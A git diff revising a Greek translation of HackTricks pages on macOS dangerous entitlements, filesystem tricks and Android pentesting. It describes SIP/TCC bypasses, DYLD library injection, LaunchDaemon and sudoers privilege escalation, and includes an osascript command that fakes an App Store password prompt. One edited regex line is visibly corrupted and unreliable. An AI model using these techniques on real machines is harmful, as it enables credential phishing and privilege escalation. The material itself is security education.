+> Σημειώστε ότι τα entitlements που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμα σε τρίτους, μόνο η Apple μπορεί να τα χορηγήσει.
## Υψηλό
### `com.apple.rootless.install.heritable`
-Το δικαίωμα **`com.apple.rootless.install.heritable`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
+Το entitlement **`com.apple.rootless.install.heritable`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
-Το δικαίωμα **`com.apple.rootless.install`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
+Το entitlement **`com.apple.rootless.install`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (προηγουμένως ονομαζόταν `task_for_pid-allow`)**
-Αυτό το δικαίωμα επιτρέπει να αποκτηθεί η **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Αυτό το entitlement επιτρέπει να αποκτηθεί το **task port για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.get-task-allow`
-Αυτό το δικαίωμα επιτρέπει σε άλλες διαδικασίες με το δικαίωμα **`com.apple.security.cs.debugger`** να αποκτούν τη θύρα εργασίας της διαδικασίας που εκτελείται από το δυαδικό αρχείο με αυτό το δικαίωμα και **να εισάγουν κώδικα σε αυτήν**. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Αυτό το entitlement επιτρέπει σε άλλες διαδικασίες με το entitlement **`com.apple.security.cs.debugger`** να αποκτούν το task port της διαδικασίας που εκτελείται από το δυαδικό αρχείο με αυτό το entitlement και **να εισάγουν κώδικα σε αυτό**. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.cs.debugger`
-Οι εφαρμογές με το Δικαίωμα Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν μια έγκυρη θύρα εργασίας για μη υπογεγραμμένες και τρίτες εφαρμογές με το δικαίωμα `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το δικαίωμα εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τις θύρες εργασίας** διαδικασιών που **δεν έχουν το δικαίωμα `Get Task Allow`**, και οι οποίες προστατεύονται από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
+Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν ένα έγκυρο task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τα task ports** διαδικασιών που **δεν έχουν το entitlement `Get Task Allow`**, και οι οποίες προστατεύονται από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
### `com.apple.security.cs.disable-library-validation`
-Αυτό το δικαίωμα επιτρέπει να **φορτώνονται πλαίσια, πρόσθετα ή βιβλιοθήκες χωρίς να είναι είτε υπογεγραμμένα από την Apple είτε υπογεγραμμένα με το ίδιο Team ID** με το κύριο εκτελέσιμο, έτσι ώστε ένας επιτιθέμενος να μπορούσε να εκμεταλλευτεί κάποια αυθαίρετη φόρτωση βιβλιοθήκης για να εισάγει κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
+Αυτό το entitlement επιτρέπει να **φορτώνονται frameworks, plug-ins ή βιβλιοθήκες χωρίς να είναι είτε υπογεγραμμένα από την Apple είτε υπογεγραμμένα με το ίδιο Team ID** με το κύριο εκτελέσιμο, έτσι ώστε ένας επιτιθέμενος να μπορούσε να εκμεταλλευτεί κάποια αυθαίρετη φόρτωση βιβλιοθήκης για να εισάγει κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
-Αυτό το δικαίωμα είναι πολύ παρόμοιο με το **`com.apple.security.cs.disable-library-validation`** αλλά **αντί** να **απενεργοποιεί άμεσα** την επικύρωση βιβλιοθηκών, επιτρέπει στη διαδικασία να **καλέσει μια κλήση συστήματος `csops` για να την απενεργοποιήσει**.\
+Αυτό το entitlement είναι πολύ παρόμοιο με το **`com.apple.security.cs.disable-library-validation`** αλλά **αντί** να **απενεργοποιεί άμεσα** την επικύρωση βιβλιοθηκών, επιτρέπει στη διαδικασία να **καλέσει μια κλήση συστήματος `csops` για να την απενεργοποιήσει**.\
Δείτε [**αυτό για περισσότερες πληροφορίες**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
-Αυτό το δικαίωμα επιτρέπει να **χρησιμοποιούνται μεταβλητές περιβάλλοντος DYLD** που θα μπορούσαν να χρησιμοποιηθούν για την εισαγωγή βιβλιοθηκών και κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
+Αυτό το entitlement επιτρέπει να **χρησιμοποιούνται μεταβλητές περιβάλλοντος DYLD** που θα μπορούσαν να χρησιμοποιηθούν για να εισάγουν βιβλιοθήκες και κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` ή `com.apple.rootless.storage`.`TCC`
-[**Σύμφωνα με αυτό το blog**](https://objective-see.org/blog/blog_0x4C.html) **και** [**αυτό το blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), αυτά τα δικαιώματα επιτρέπουν να **τροποποιηθεί** η βάση δεδομένων **TCC**.
+[**Σύμφωνα με αυτό το blog**](https://objective-see.org/blog/blog_0x4C.html) **και** [**αυτό το blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), αυτά τα entitlements επιτρέπουν να **τροποποιηθεί** η βάση δεδομένων **TCC**.
### **`system.install.apple-software`** και **`system.install.apple-software.standar-user`**
-Αυτά τα δικαιώματα επιτρέπουν να **εγκαθίστανται λογισμικά χωρίς να ζητούν άδειες** από τον χρήστη, κάτι που μπορεί να είναι χρήσιμο για μια **κλιμάκωση προνομίων**.
+Αυτά τα entitlements επιτρέπουν να **εγκαθίστανται λογισμικά χωρίς να ζητούν άδειες** από τον χρήστη, κάτι που μπορεί να είναι χρήσιμο για μια **κλιμάκωση προνομίων**.
### `com.apple.private.security.kext-management`
-Δικαίωμα που απαιτείται για να ζητήσει ο **πυρήνας να φορτώσει μια επέκταση πυρήνα**.
+Entitlement που απαιτείται για να ζητήσει από τον **πυρήνα να φορτώσει μια επέκταση πυρήνα**.
### **`com.apple.private.icloud-account-access`**
-Το δικαίωμα **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**.
+Το entitlement **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**.
-**iMovie** και **Garageband** είχαν αυτό το δικαίωμα.
+Το **iMovie** και το **Garageband** είχαν αυτό το entitlement.
-Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το δικαίωμα, δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το entitlement δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@@ -74,7 +74,7 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
### `keychain-access-groups`
-Αυτό το δικαίωμα καταγράφει τις ομάδες **keychain** στις οποίες η εφαρμογή έχει πρόσβαση:
+Αυτό το entitlement καταγράφει τις ομάδες **keychain** στις οποίες η εφαρμογή έχει πρόσβαση:
```xml
keychain-access-groups
@@ -97,7 +97,7 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
-Ή να τους κάνει να εκτελούν **τυχαίες ενέργειες**.
+Or making them perform **arbitrary actions**.
### **`kTCCServiceEndpointSecurityClient`**
@@ -109,25 +109,25 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### **`kTCCServiceSystemPolicyAppBundles`**
-Επιτρέπει την τροποποίηση αρχείων μέσα σε πακέτα εφαρμογών (μέσα στο app.app), κάτι που είναι **απαγορευμένο από προεπιλογή**.
+Επιτρέπει να τροποποιηθούν αρχεία μέσα σε πακέτα εφαρμογών (μέσα στο app.app), κάτι που είναι **απαγορευμένο από προεπιλογή**.
-Είναι δυνατόν να ελέγξετε ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._
+Είναι δυνατόν να ελεγχθεί ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._
### `kTCCServiceAccessibility`
-Η διαδικασία θα είναι σε θέση να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατάει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το διάλογο με αυτή την άδεια.
+Η διαδικασία θα είναι σε θέση να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατήσει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το παράθυρο διαλόγου με αυτή την άδεια.
## Medium
### `com.apple.security.cs.allow-jit`
-Αυτή η άδεια επιτρέπει να **δημιουργηθεί μνήμη που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
+Αυτή η άδεια επιτρέπει να **δημιουργήσει μνήμη που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
-Αυτή η άδεια επιτρέπει να **υπερκαλύψει ή να διορθώσει C κώδικα**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
+Αυτή η άδεια επιτρέπει να **παρακάμψει ή να διορθώσει C κώδικα**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
> [!CAUTION]
> Η συμπερίληψη αυτής της άδειας εκθέτει την εφαρμογή σας σε κοινές ευπάθειες σε γλώσσες κώδικα που είναι ανασφαλείς στη μνήμη. Σκεφτείτε προσεκτικά αν η εφαρμογή σας χρειάζεται αυτή την εξαίρεση.
@@ -137,7 +137,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
Αυτή η άδεια επιτρέπει να **τροποποιήσει τμήματα των εκτελέσιμων αρχείων της** στο δίσκο για να εξαναγκάσει την έξοδο. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
> [!CAUTION]
-> Η άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την αναγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε στενότερες άδειες αν είναι δυνατόν.
+> Η Άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την αναγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε στενότερες άδειες αν είναι δυνατόν.
### `com.apple.security.cs.allow-relative-library-loads`
@@ -145,7 +145,7 @@ TODO
### `com.apple.private.nullfs_allow`
-Αυτή η άδεια επιτρέπει την τοποθέτηση ενός συστήματος αρχείων nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
+Αυτή η άδεια επιτρέπει να τοποθετηθεί ένα σύστημα αρχείων nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
### `kTCCServiceAll`
@@ -161,3 +161,5 @@ TODO
### **`kTCCServicePostEvent`**
{{#include ../../../banners/hacktricks-training.md}}
+
+
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
index 2db86d592..cb753bb5a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
@@ -7,10 +7,10 @@
Δικαιώματα σε έναν **φάκελο**:
- **ανάγνωση** - μπορείτε να **καταμετρήσετε** τις καταχωρίσεις του φακέλου
-- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε άδειους φακέλους**.
-- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη άδειους φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους.
+- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε κενές φακέλους**.
+- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη κενές φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους.
- Δεν μπορείτε να **τροποποιήσετε το όνομα ενός φακέλου** εκτός αν τον κατέχετε.
-- **εκτέλεση** - σας επιτρέπεται να **περπατήσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους.
+- **εκτέλεση** - έχετε **δικαίωμα να διασχίσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους.
### Επικίνδυνοι Συνδυασμοί
@@ -32,7 +32,7 @@
### Επιτρεπτικό αρχείο/φάκελος
-Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει το αρχείο σε ένα άλλο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
+Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να είναι **ελεγχόμενο** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
Ελέγξτε σε άλλες ενότητες όπου ένας επιτιθέμενος θα μπορούσε να **καταχραστεί μια αυθαίρετη εγγραφή για να κλιμακώσει τα προνόμια**.
@@ -42,7 +42,7 @@
## .fileloc
-Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγονται, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
+Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
Παράδειγμα:
```xml
@@ -120,7 +120,7 @@ ls -le /tmp/test
```
### **com.apple.acl.text xattr + AppleDouble**
-Η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
+**AppleDouble** μορφή αρχείου αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
@@ -154,7 +154,7 @@ macos-xattr-acls-extra-stuff.md
## Παράκαμψη ελέγχων υπογραφής
-### Παράκαμψη ελέγχων δυαδικών αρχείων πλατφόρμας
+### Παράκαμψη ελέγχων πλατφορμών
Ορισμένοι έλεγχοι ασφαλείας ελέγχουν αν το δυαδικό αρχείο είναι **δυαδικό αρχείο πλατφόρμας**, για παράδειγμα για να επιτρέψουν τη σύνδεση σε μια υπηρεσία XPC. Ωστόσο, όπως εκτίθεται σε μια παράκαμψη στο https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, είναι δυνατόν να παρακαμφθεί αυτός ο έλεγχος αποκτώντας ένα δυαδικό αρχείο πλατφόρμας (όπως το /bin/ls) και να εισαχθεί η εκμετάλλευση μέσω dyld χρησιμοποιώντας μια μεταβλητή περιβάλλοντος `DYLD_INSERT_LIBRARIES`.
@@ -173,9 +173,9 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
-## Παράκαμψη Υπογραφών Κωδικού
+## Bypass Code Signatures
-Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό.
+Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό, επίσης.
Ωστόσο, υπάρχουν κάποια αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως:
```xml
@@ -195,7 +195,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
rules2
...
-^(.*/)?\.DS_Store$
+^(.*/index.html)?\.DS_Store$omit
@@ -248,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
-Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitrarion.diskarbitrariond` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύσει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\
-Ωστόσο, είναι δυνατό να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
+Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\
+Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
## Αυθαίρετες Εγγραφές
@@ -261,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### Daemons
-Γράψτε έναν αυθαίρετο **LaunchDaemon** όπως **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα αυθαίρετο script όπως:
+Γράψτε μια αυθαίρετη **LaunchDaemon** όπως **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα αυθαίρετο script όπως:
```xml
@@ -278,11 +278,11 @@ hdiutil create -srcfolder justsome.app justsome.dmg
```
-Απλώς δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root.
+Απλά δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root.
### Sudoers File
-Εάν έχετε **τυχαία εγγραφή**, μπορείτε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** παραχωρώντας στον εαυτό σας **sudo** δικαιώματα.
+Αν έχετε **τυχαία εγγραφή**, θα μπορούσατε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** παραχωρώντας στον εαυτό σας **sudo** δικαιώματα.
### PATH files
@@ -324,13 +324,13 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
```
-## POSIX Κοινή Μνήμη
+## POSIX Shared Memory
-**POSIX κοινή μνήμη** επιτρέπει σε διαδικασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διαδικασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διαδικασίας χρησιμοποιώντας `mmap()`. Οι διαδικασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για να διαχειριστούν την ταυτόχρονη πρόσβαση και να αποτρέψουν τη διαφθορά των δεδομένων, μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores χρησιμοποιούνται συχνά. Τέλος, οι διαδικασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διαδικασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
+**POSIX shared memory** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
-Παράδειγμα Κώδικα Παραγωγού
+Producer Code Example
```c
// gcc producer.c -o producer -lrt
#include
@@ -424,9 +424,9 @@ return 0;
**macOSCguarded descriptors** είναι μια λειτουργία ασφαλείας που εισήχθη στο macOS για να ενισχύσει την ασφάλεια και την αξιοπιστία των **λειτουργιών περιγραφής αρχείων** σε εφαρμογές χρήστη. Αυτοί οι προστατευμένοι περιγραφείς παρέχουν έναν τρόπο για να συσχετίσουν συγκεκριμένους περιορισμούς ή "φύλακες" με περιγραφείς αρχείων, οι οποίοι επιβάλλονται από τον πυρήνα.
-Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου **κληρονομείται** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
+Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου είναι **κληρονομούμενος** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
-- `guarded_open_np`: Άνοιγμα ενός FD με έναν φύλακα
+- `guarded_open_np`: Άνοιγμα ενός FD με φύλακα
- `guarded_close_np`: Κλείσιμο του
- `change_fdguard_np`: Αλλαγή σημαιών φύλακα σε έναν περιγραφέα (ακόμη και αφαίρεση της προστασίας φύλακα)
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md
index 470b7ca55..f10f1c6af 100644
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
@@ -4,7 +4,7 @@
## Βασικά για Εφαρμογές Android
